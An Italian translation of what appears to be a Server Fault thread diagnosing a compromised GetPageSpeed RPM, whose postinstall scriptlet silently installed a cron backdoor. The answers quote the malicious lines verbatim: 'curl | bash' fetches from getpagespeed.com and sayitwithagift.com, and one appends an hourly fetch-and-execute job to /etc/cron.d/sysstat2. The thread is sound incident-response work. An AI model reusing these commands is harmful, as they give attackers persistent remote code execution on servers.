In che modo l'installazione di questo RPM ha creato un file?


16

L'esecuzione yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmcrea /etc/cron.d/sysstat2ma RPM non consente il file:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

In che modo l'RPM ha creato il file e come posso vedere cos'altro ha fatto?


4
Quindi, queste persone di GetPageSpeed ​​sono possedute e non lo sanno, o pubblicano RPM male?
Aaron Copley,

1
L'RPM che ho installato dal loro sito tre mesi fa era buono. Quello maligno è stato pubblicato ieri. Penso che fossero di proprietà e chiunque utilizzi il loro repository sta diventando di proprietà. Quello maligno sta venendo giù tramite l'aggiornamento yum. Ho inviato loro un'e-mail e un messaggio tramite il loro modulo Contattaci.
Pascal,

Ed è firmato anche da loro?
Aaron Copley,

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmè il file originale, ha ancora una vecchia data nel suo repository ed gpgcheck=1è impostato in esso.
Pascal,

1
Suggerire di contattare anche l'amministratore web di sayitwithagift.com sebbene YMMV in merito al tipo di risposta che si ottiene. Ho finito per passare attraverso un provider di hosting di un sito Web per entrare in contatto con un server di posta errato una volta poiché il sito Web stesso non ha mai risposto.
Darren,

Risposte:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php contiene:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

Hai scoperto che gli script di rpm eseguono uno script da Internet e che attualmente reindirizza a quello che potrebbe essere un malware. Anche se non sto trovando molto di un payload che fa qualcosa.

rpm non può tracciare completamente ciò che è accaduto perché sta eseguendo uno script arbitrario.

gpgcheck non ti aiuterà, sia il getpagespeed-extras-7-6.el7.gps.noarch.rpmche il getpagespeed-extras-release-7-1.el7.gps.noarch.rpmtuo link sembrano avere firme valide:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Reclami al proprietario del repository che il pacchetto esegue codice arbitrario da Internet. In tal caso, è necessario migliorare la sicurezza della catena di fornitura del software.

Sembra un po 'paranoico eseguire la prima installazione di software senza accesso a Internet o ispezionare manualmente lo script "post installazione". Ma sfortunatamente sembra quasi necessario se i pacchetti fanno trucchi sconsiderati come questo.


Il payload è un cron job che scarica ed esegue " sayitwithagift.com/pwn.php " ogni ora. Attualmente nulla lì, ma ciò potrebbe cambiare in qualsiasi momento. La rimozione di RPM non rimuove il payload.
Pascal,

Il loro RPM originale non aveva uno scriptlet postinstallazione. Fa solo la versione caricata ieri (presumibilmente da un hacker).
Pascal,

1
Non è chiaro se l'aggiunta di exec dal codice Internet sia un'idea legittima o se sia stata aggiunta dall'equipaggio del malware. Quest'ultimo è anche peggio, perché ciò implica che i processi di firma e caricamento sono stati compromessi.
John Mahowald,

1

Ho 5 server CLoudLinux / cPanel che avevano Nginx su di loro tramite Engintron, ma ora eseguono invece il server web LiteSpeed. Penso che Engintron potrebbe aver lasciato indietro i repository di pagine quando è stato disinstallato. cPanel esegue un controllo degli aggiornamenti ogni notte e verso mezzanotte tutti i miei server mi hanno inviato un rapporto e-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Una ricerca per il sito del payload mi ha portato qui dove ho visto che lo stesso giorno hai avuto lo stesso problema. Quindi per aggiungere le mie informazioni alle tue. Lo stesso /etc/cron.d/sysstat2file esisteva su tutti i miei server.

Ho eliminato il file, rimosso i repository e utilizzato il modulo di contatto su GetPageSpeed ​​per segnalare il problema. Il proprietario di Repo potrebbe essere AWOL in quanto c'era un post sul blog che diceva che stava chiudendo il repo a causa di problemi di salute. Quindi forse l'attaccante ha approfittato del fatto che il repository non sta attirando l'attenzione o ha trovato una porta aperta da sfruttare.


1
Il messaggio sulla chiusura del repository è stato pubblicato dopo che ha ricevuto la mia e-mail di compromissione. Gli ho chiesto di aprire nuovamente il repository e pubblicare pacchetti aggiornati da rimuovere /etc/cron.d/sysstat2. Lo ha fatto.
Pascal,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.